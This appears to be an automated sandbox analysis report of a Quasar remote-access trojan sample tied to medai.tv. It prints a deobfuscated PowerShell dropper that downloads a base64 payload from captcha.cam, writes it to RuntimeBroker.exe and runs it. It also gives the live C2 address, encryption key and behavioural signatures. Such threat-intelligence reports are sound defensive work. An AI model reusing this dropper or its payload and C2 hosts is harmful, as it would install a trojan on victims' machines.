quasar | hxxp://medai[.]tv

General

Target

http://medai.tv
Sample

241230-dyd5xswqbv

Score

10^/10

quasar 28 evasion execution phishing ransomware spyware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

1
$url = "https://captcha.cam/file.b64"
2
$b64file = "$env:Temp\\file.b64"
3
$exefile = "$env:Temp\\RuntimeBroker.exe"
4
invoke-webrequest -uri $url -outfile $b64file
5
[io.file]::writeallbytes("$env:Temp\\RuntimeBroker.exe", [convert]::frombase64string(get-content "$env:Temp\\file.b64" -raw))
6
start-process "$env:Temp\\RuntimeBroker.exe"
7

URLs

exe.dropper

https://captcha.cam/file.b64

Extracted

Family

quasar

Version

1.4.1

Botnet

28

C2

194.26.192.167:2768

Mutex

859d5f90-e2d0-4b2d-ba9f-5371df032ec2

Attributes

encryption_key
BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055
install_name
RuntimeBroker.exe
log_directory
Logs
reconnect_delay
3000
startup_key
RuntimeBroker
subdirectory
RuntimeBroker

Targets

- Target
  
  http://medai.tv
Score

10^/10

quasar 28 evasion execution phishing ransomware spyware trojan
- Quasar RAT
  Quasar is an open source Remote Access Tool.
  trojan spyware quasar
- Quasar family
  quasar
- Quasar payload
- Modifies boot configuration data using bcdedit
  ransomware evasion
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
  Using powershell.exe command.
  execution
- A potential corporate email address has been identified in the URL: currency-file@1
  phishing
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE
- Drops file in System32 directory
behavioral1